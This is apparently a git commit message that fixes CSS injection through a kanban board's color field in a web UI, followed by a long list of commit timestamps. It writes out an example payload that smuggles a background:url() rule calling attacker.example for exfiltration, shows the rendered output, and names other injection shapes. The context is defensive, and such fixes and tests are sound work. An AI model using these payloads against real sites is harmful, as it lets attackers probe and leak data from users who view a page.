Nathan Esquenazi
60874dbf7a
fix(kanban): block CSS injection via board.color into switcher style
...
`_renderKanbanBoardMenu` interpolates `b.color` into a `style=""`
attribute through `esc()`:
const colorStyle = b.color ? `color:${esc(b.color)}` : '';
return `<button ...><span ... style="${colorStyle}">...`;
`esc()` HTML-escapes (`<`, `>`, `&`, `"`, `'`) which prevents breaking
out of the `style=""` attribute, but does NOT prevent CSS-context
injection inside it. Neither this bridge nor the agent's
`hermes_cli.kanban_db.write_board_metadata` validates `color`, so an
authenticated WebUI user (or anyone writing through the CLI / agent
dashboard) can set:
"color": "red;background:url('http://attacker.example/exfil ')"
…and the malicious URL will be fetched whenever any user opens the
board switcher. Verified with a Node harness against the actual
unmodified renderer:
INPUT: "red;background:url('http://attacker.example/exfil ')"
OUTPUT: <span ... style="color:red;background:url('http://attacker.example/exfil' ;)">
The single-quote escaping doesn't help — `url(http://x )` works without
quotes — and CSS gives the attacker a useful exfil/probe primitive
(`background-image:url(...)`, `font-family: url(...)`, `@import`).
Frontend-only fix: validate `color` against an allowlist of CSS hex
codes (`#rgb`/`#rrggbb`/`#rrggbbaa`) and short alpha-only color names
(`red`, `blue`, ...) before interpolating. Anything else collapses to
the empty string so the renderer drops the `color:` rule entirely. The
agent dashboard plugin doesn't render board.color today, so this match
intentionally diverges (stricter) from the cross-tool contract — boards
written by the agent CLI with `rgb(...)` / `hsl(...)` colors will just
render uncoloured here, never break.
Server-side validation is intentionally not added in this fix:
- The agent CLI accepts arbitrary `color` strings, so any server-side
rejection here would diverge from the cross-tool contract for inputs
that are well-formed-but-unusual (e.g. `rgb(255,0,0)`).
- The renderer is the trust boundary that actually matters — color
values written by other surfaces (CLI, gateway) flow through the
same bridge and now get safely degraded at render time.
Behavioural harness: 17/17 cases pass (named colors, hex codes accepted;
all CSS-injection shapes including `expression(alert(1))`, `;background:`,
`url(...)`, malformed hex collapse to '').
Tests:
- Added test_kanban_board_color_is_validated_against_css_injection
which drives the helper through Node and asserts both renderer-level
invariants (helper called, raw `esc(b.color)` interpolation removed).
- 64/64 pass in tests/test_kanban_bridge.py + tests/test_kanban_ui_static.py
- Full suite: 4297 passed, 57 skipped, 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com >
2026-05-04 17:28:32 -07:00
..
2026-03-30 20:40:19 -07:00
2026-04-21 02:25:14 +00:00
2026-05-03 22:47:55 -07:00
2026-05-04 21:50:40 +08:00
2026-05-01 17:14:51 +00:00
2026-05-04 18:11:58 +00:00
2026-04-25 21:06:31 -07:00
2026-04-23 12:15:56 -07:00
2026-04-29 19:54:07 -07:00
2026-05-04 21:26:43 +00:00
2026-05-04 00:06:58 -07:00
2026-04-25 15:47:44 -07:00
2026-05-03 01:53:01 +08:00
2026-04-25 17:50:58 -07:00
2026-04-25 17:50:58 -07:00
2026-04-29 04:31:55 +00:00
2026-05-02 02:50:40 +00:00
2026-04-30 16:18:02 +00:00
2026-05-02 00:52:41 +00:00
2026-05-03 01:53:01 +08:00
2026-05-03 08:46:36 +08:00
2026-05-03 20:59:32 +00:00
2026-05-04 10:48:36 -04:00
2026-04-27 11:43:32 -07:00
2026-04-29 04:37:31 +00:00
2026-04-30 18:45:15 +00:00
2026-05-04 00:06:58 -07:00
2026-04-14 19:04:48 +00:00
2026-04-25 17:50:58 -07:00
2026-04-09 18:05:23 -07:00
2026-04-27 13:34:59 -07:00
2026-04-24 01:32:47 +00:00
2026-04-29 19:54:07 -07:00
2026-04-25 23:08:59 -07:00
2026-04-20 20:55:53 -07:00
2026-05-02 19:35:42 +00:00
2026-05-02 19:45:54 +00:00
2026-04-25 14:33:41 -07:00
2026-04-23 09:58:15 -07:00
2026-04-29 19:54:07 -07:00
2026-04-20 23:54:40 +00:00
2026-04-30 15:24:31 +00:00
2026-05-04 00:06:58 -07:00
2026-04-29 04:32:40 +00:00
2026-05-01 04:46:30 +00:00
2026-04-21 22:55:09 -07:00
2026-04-25 21:35:51 -07:00
2026-04-19 05:37:44 +00:00
2026-04-22 20:18:02 +00:00
2026-04-30 23:15:31 +00:00
2026-04-26 21:04:38 -07:00
2026-04-24 09:05:25 -07:00
2026-04-30 15:24:30 +00:00
2026-04-25 15:47:44 -07:00
2026-05-02 02:50:40 +00:00
2026-05-01 18:30:41 +00:00
2026-04-29 04:31:16 +00:00
2026-04-26 21:04:38 -07:00
2026-04-29 16:45:26 +08:00
2026-04-27 16:44:07 -07:00
2026-05-02 02:50:40 +00:00
2026-05-04 00:06:58 -07:00
2026-04-21 23:39:39 -07:00
2026-05-04 09:30:47 +02:00
2026-05-02 04:19:28 +00:00
2026-05-02 22:29:14 +08:00
2026-04-18 06:37:09 +00:00
2026-04-29 04:39:50 +00:00
2026-04-30 16:18:01 +00:00
2026-04-20 21:03:41 -07:00
2026-04-24 11:41:17 -07:00
2026-04-27 22:56:12 -07:00
2026-04-14 21:14:00 +00:00
2026-04-14 21:14:33 +00:00
2026-05-02 02:50:40 +00:00
2026-04-29 04:34:26 +00:00
2026-04-14 21:52:34 +00:00
2026-04-16 00:00:22 +00:00
2026-04-29 04:33:24 +00:00
2026-04-29 04:34:55 +00:00
2026-04-20 19:43:40 +00:00
2026-04-16 20:16:07 -07:00
2026-04-25 15:47:44 -07:00
2026-04-25 14:33:41 -07:00
2026-05-03 22:04:58 +00:00
2026-04-18 06:45:39 +00:00
2026-04-16 18:09:16 -07:00
2026-04-24 09:05:25 -07:00
2026-04-21 15:26:52 -07:00
2026-04-25 13:07:35 -07:00
2026-04-25 14:33:41 -07:00
2026-04-18 06:46:43 +00:00
2026-04-20 23:04:09 +00:00
2026-04-20 19:43:40 +00:00
2026-05-04 18:23:04 +00:00
2026-04-20 22:48:19 +00:00
2026-04-19 23:11:49 -07:00
2026-04-30 16:20:05 +00:00
2026-04-21 00:58:02 +00:00
2026-04-27 16:27:03 -07:00
2026-04-30 23:43:23 +00:00
2026-04-22 16:27:01 +00:00
2026-04-21 23:08:24 -07:00
2026-04-22 20:21:42 +00:00
2026-04-23 09:58:15 -07:00
2026-04-29 04:31:14 +00:00
2026-04-29 04:31:14 +00:00
2026-05-01 15:54:27 +00:00
2026-05-03 01:44:38 +08:00
2026-04-23 11:16:59 -07:00
2026-04-23 10:44:10 -07:00
2026-04-26 18:47:38 -07:00
2026-05-03 16:35:50 +00:00
2026-04-25 13:07:35 -07:00
2026-04-26 14:24:20 -07:00
2026-04-29 17:42:32 -07:00
2026-04-30 15:24:32 +00:00
2026-04-26 15:29:02 -07:00
2026-04-26 14:24:20 -07:00
2026-05-01 19:52:05 +08:00
2026-04-26 10:36:59 -07:00
2026-05-01 18:30:41 +00:00
2026-04-26 15:29:02 -07:00
2026-04-26 15:29:02 -07:00
2026-05-04 00:06:58 -07:00
2026-04-29 19:54:07 -07:00
2026-04-27 13:34:59 -07:00
2026-04-29 04:31:36 +00:00
2026-04-27 17:43:36 -07:00
2026-04-27 15:28:19 -07:00
2026-04-27 18:40:13 -07:00
2026-04-27 18:40:13 -07:00
2026-05-01 05:35:24 +00:00
2026-04-27 22:56:12 -07:00
2026-04-29 16:37:08 +08:00
2026-04-30 15:24:35 +00:00
2026-04-30 16:28:20 +00:00
2026-05-01 04:46:12 +00:00
2026-04-30 23:43:23 +00:00
2026-05-04 14:49:38 -07:00
2026-05-01 05:29:42 +00:00
2026-05-01 17:57:34 +00:00
2026-05-03 02:46:24 +00:00
2026-05-03 19:18:44 +00:00
2026-05-02 00:21:15 +00:00
2026-05-02 01:43:00 +00:00
2026-05-02 02:30:20 +00:00
2026-05-02 04:19:28 +00:00
2026-05-04 18:22:59 +00:00
2026-05-02 04:19:28 +00:00
2026-05-04 15:30:37 -07:00
2026-05-04 04:51:30 +00:00
2026-05-02 22:16:23 +00:00
2026-05-03 01:15:26 +00:00
2026-05-03 03:07:07 +00:00
2026-05-03 03:21:22 +00:00
2026-05-03 02:46:24 +00:00
2026-05-03 06:47:52 +00:00
2026-05-03 17:04:46 +00:00
2026-05-03 18:12:01 +00:00
2026-05-03 18:12:01 +00:00
2026-05-03 20:59:32 +00:00
2026-05-03 21:44:22 +00:00
2026-05-03 22:04:58 +00:00
2026-05-04 05:26:19 +00:00
2026-05-04 16:17:26 +00:00
2026-05-04 16:17:26 +00:00
2026-05-04 16:03:05 +00:00
2026-05-04 21:26:43 +00:00
2026-05-04 18:11:58 +00:00
2026-05-04 16:49:43 +00:00
2026-05-04 16:49:43 +00:00
2026-05-04 16:50:22 +00:00
2026-05-04 17:03:02 +00:00
2026-05-03 22:43:11 -07:00
2026-04-27 17:43:36 -07:00
2026-04-20 22:48:19 +00:00
2026-04-26 21:04:38 -07:00
2026-04-23 14:41:06 -07:00
2026-05-02 02:44:59 +00:00
2026-05-05 00:18:36 +00:00
2026-05-04 17:28:32 -07:00
2026-05-01 22:55:46 +08:00
2026-04-14 17:14:01 +00:00
2026-05-01 04:46:15 +00:00
2026-05-02 04:19:28 +00:00
2026-04-19 06:47:24 +00:00
2026-04-29 19:54:07 -07:00
2026-05-03 20:50:06 +00:00
2026-05-03 19:18:44 +00:00
2026-05-02 00:52:41 +00:00
2026-05-04 17:03:02 +00:00
2026-04-30 23:45:46 -06:00
2026-05-04 16:49:43 +00:00
2026-04-29 04:33:29 +00:00
2026-04-29 17:01:01 +08:00
2026-05-02 17:03:25 +00:00
2026-04-22 22:56:21 -07:00
2026-04-22 20:18:02 +00:00
2026-04-26 21:04:38 -07:00
2026-04-14 19:04:48 +00:00
2026-04-14 19:04:48 +00:00
2026-04-30 16:18:01 +00:00
2026-04-29 17:42:32 -07:00
2026-04-15 16:57:31 +00:00
2026-04-29 04:30:55 +00:00
2026-04-29 17:42:32 -07:00
2026-04-30 10:27:56 -07:00
2026-04-30 16:20:05 +00:00
2026-05-04 21:26:43 +00:00
2026-04-30 18:34:37 +00:00
2026-04-30 18:45:15 +00:00
2026-04-30 14:39:37 -07:00
2026-04-30 22:27:40 +00:00
2026-05-02 12:09:36 +08:00
2026-04-30 23:43:23 +00:00
2026-05-02 02:56:48 +00:00
2026-05-02 03:49:40 +00:00
2026-04-21 19:14:31 -07:00
2026-04-23 02:09:37 +00:00
2026-04-23 02:09:37 +00:00
2026-04-27 21:39:30 -07:00
2026-04-27 22:56:12 -07:00
2026-04-29 17:42:32 -07:00
2026-04-25 23:28:29 -07:00
2026-05-04 09:04:07 -07:00
2026-05-02 02:11:41 +08:00
2026-04-24 10:44:46 -07:00
2026-05-03 16:21:42 +00:00
2026-05-03 22:47:55 -07:00
2026-04-26 21:04:38 -07:00
2026-04-21 16:26:51 +00:00
2026-04-25 19:21:00 -07:00
2026-04-25 21:06:31 -07:00
2026-04-25 21:06:31 -07:00
2026-04-21 15:26:52 -07:00
2026-05-04 05:10:29 +00:00
2026-04-25 21:06:31 -07:00
2026-04-30 16:18:01 +00:00
2026-04-25 17:50:58 -07:00
2026-05-04 16:28:33 +08:00
2026-05-02 02:11:41 +08:00
2026-05-03 18:18:27 -07:00
2026-05-02 23:05:55 +08:00
2026-05-01 19:52:05 +08:00
2026-05-02 17:54:58 +00:00
2026-05-03 16:35:50 +00:00
2026-05-03 16:35:50 +00:00
2026-04-25 13:07:35 -07:00
2026-05-02 12:09:36 +08:00
2026-05-02 12:09:36 +08:00
2026-04-25 13:07:35 -07:00
2026-05-01 04:46:37 +00:00
2026-04-27 13:34:59 -07:00
2026-05-02 10:35:40 +08:00
2026-05-04 14:05:49 -07:00
2026-04-21 22:11:32 -07:00
2026-04-25 17:50:58 -07:00
2026-05-03 20:00:56 +02:00
2026-05-03 05:20:19 +00:00
2026-04-14 19:04:48 +00:00
2026-04-24 09:05:25 -07:00
2026-05-03 21:14:21 -07:00
2026-05-03 07:08:08 +00:00
2026-04-29 21:34:27 -07:00
2026-04-29 17:42:32 -07:00
2026-04-29 17:42:32 -07:00
2026-04-11 20:06:37 -07:00
2026-04-14 19:04:48 +00:00
2026-04-14 19:04:48 +00:00
2026-05-03 20:28:21 +00:00
2026-04-14 19:04:48 +00:00
2026-04-23 02:35:58 +00:00
2026-04-24 09:05:25 -07:00
2026-04-14 19:04:48 +00:00
2026-04-14 19:04:48 +00:00
2026-04-30 16:18:01 +00:00
2026-04-29 21:06:30 -07:00
2026-04-18 06:46:43 +00:00
2026-04-23 10:44:10 -07:00
2026-04-14 19:04:48 +00:00
2026-04-14 19:04:48 +00:00
2026-04-14 19:04:48 +00:00
2026-05-04 18:22:59 +00:00
2026-04-14 19:04:48 +00:00
2026-05-03 18:18:27 -07:00
2026-04-29 04:31:54 +00:00
2026-04-29 04:31:54 +00:00
2026-04-14 19:04:48 +00:00
2026-04-18 06:37:09 +00:00
2026-04-14 19:04:48 +00:00
2026-04-14 19:04:48 +00:00
2026-05-03 20:28:21 +00:00
2026-04-29 04:32:52 +00:00
2026-04-29 04:31:12 +00:00
2026-04-22 20:49:28 +00:00
2026-04-11 12:19:12 -07:00
2026-04-24 09:05:25 -07:00
2026-04-12 10:51:48 -07:00
2026-04-29 04:31:55 +00:00
2026-05-03 06:09:47 +00:00
2026-04-18 06:45:39 +00:00
2026-04-16 10:19:10 -07:00
2026-04-22 16:27:01 +00:00
2026-04-12 14:28:16 -07:00
2026-04-23 14:25:43 -07:00
2026-04-29 16:46:32 +08:00
2026-04-13 11:11:56 -07:00
2026-04-13 23:25:26 -07:00
2026-04-14 19:04:48 +00:00
2026-04-19 04:29:07 +00:00
2026-04-19 05:37:44 +00:00
2026-04-24 11:04:16 -07:00
2026-05-03 20:20:17 -07:00
2026-04-19 23:17:00 -07:00
2026-04-20 23:54:40 +00:00
2026-05-02 17:54:58 +00:00
2026-04-29 21:34:27 -07:00
2026-05-03 21:37:38 +01:00
2026-05-03 20:00:56 +02:00
2026-05-03 23:55:45 -07:00
2026-05-03 11:46:42 +02:00
2026-04-21 18:47:40 -07:00
2026-04-30 15:24:33 +00:00
2026-05-04 00:06:58 -07:00
2026-05-02 02:50:40 +00:00
2026-04-27 13:34:59 -07:00
2026-04-29 04:31:36 +00:00
2026-04-23 09:45:34 -07:00
2026-04-09 18:08:29 -07:00
2026-04-16 14:04:42 -07:00
2026-04-21 00:33:03 +00:00
2026-05-03 23:21:19 -07:00
2026-04-29 17:42:32 -07:00
2026-05-03 20:00:10 -07:00
2026-05-04 15:34:08 +00:00
2026-04-10 10:02:28 -07:00
2026-04-12 00:19:33 -07:00
2026-05-01 06:53:32 +00:00
2026-05-01 16:25:04 +00:00
2026-05-01 17:19:53 +00:00
2026-05-01 18:36:24 +00:00
2026-05-04 00:06:58 -07:00
2026-05-01 22:45:18 +00:00
2026-05-01 23:10:52 +00:00
2026-05-04 23:57:56 +08:00
2026-04-13 22:11:45 -07:00
2026-04-24 11:03:42 -07:00
2026-04-27 17:43:36 -07:00
2026-04-27 21:39:30 -07:00
2026-04-27 18:40:13 -07:00
2026-04-27 17:43:36 -07:00
2026-04-26 10:36:59 -07:00